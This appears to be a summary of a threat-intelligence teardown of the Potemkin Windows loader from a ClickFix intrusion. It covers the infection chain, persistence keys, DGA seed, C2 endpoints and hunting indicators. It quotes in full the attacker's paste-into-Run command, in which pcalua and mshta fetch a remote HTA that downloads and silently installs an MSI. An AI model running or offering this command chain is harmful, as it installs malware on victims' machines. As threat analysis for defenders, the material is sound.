Potemkin Loader & RMMProject The Anatomy of a ClickFix Attack

What it is

Technical teardown of Potemkin, a custom x64 Windows loader delivered via a ClickFix intrusion Huntress observed in May 2026. The page gives concrete IOCs, file paths, persistence keys, and internal loader behavior that the catalog summary only names in the abstract.

How it works

The user is instructed to paste this into the Windows Run dialog:

cmd /min /c "pcalua.exe -a mshta.exe -c hxxps://cl.distritovagas.com/hte[.]hta"

pcalua.exe proxies mshta.exe to fetch a remote HTA. hte.hta hides its window, uses WScript.Shell to run curl silently downloading an MSI from sonra.eutialyson[.]com/inst24.msi, then runs it via msiexec /qn.

inst24.msi (built with WiX Toolset) drops the loader to:

C:\Users\<username>\AppData\Local\Microsoft\RunSearch\RunSearch.exe

Persistence is set at install time via an MSI AutostartRegistry component:

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch = [INSTALLFOLDER]RunSearch.exe

Potemkin has six components; five tag log lines with fixed prefixes [Agent] [DNS] [Chan] [Sync] [DLL], the sixth is a cipher core. The DGA is XorShift32-seeded with a hardcoded seed (151678 in this build) — because the seed is fixed, two infections probe the same 10,000 candidate domains in the same order. It finds live C2 by sending an /api/client_hello probe and treating an "ok" reply as the hit. Session identity (a UUID) is persisted to and re-verified from %LOCALAPPDATA%\hyper-v.ver. It polls roughly every 5 minutes (/api/client/init handshake, then poll loop) and reflectively maps follow-on DLLs in memory; a returned DLL can signal updatedll to force an immediate reload.

What to do

Hunt on the concrete artifacts the page names:

• Process chain pcalua.exe → mshta.exe → curl/msiexec /qn.
• File RunSearch.exe under AppData\Local\Microsoft\RunSearch\ and the RunSearch Run key.
• File %LOCALAPPDATA%\hyper-v.ver.
• Network: cl.distritovagas.com, sonra.eutialyson[.]com, and any beacon to /api/client_hello or /api/client/init.
• Because the DGA seed is static, defenders can reproduce the exact ordered domain list from seed 151678 to pre-block/detect.

The page's stated lesson: the intrusion began on an unmonitored endpoint, which is what let it reach hands-on-keyboard and lateral movement before detection — close endpoint-coverage gaps.

Caveats

This is the first of a multi-part writeup: it stops mid-sentence during the Potemkin [Agent] component walkthrough and does not yet detail RMMProject internals, EtherRAT, Chisel, or the lateral-movement steps beyond naming them. Note one discrepancy with the catalog summary — the page describes a Cloudflare tunnel for persistent access alongside the Chisel reverse SOCKS tunnels, not Chisel alone. IOCs are single-case observations from one May 2026 intrusion.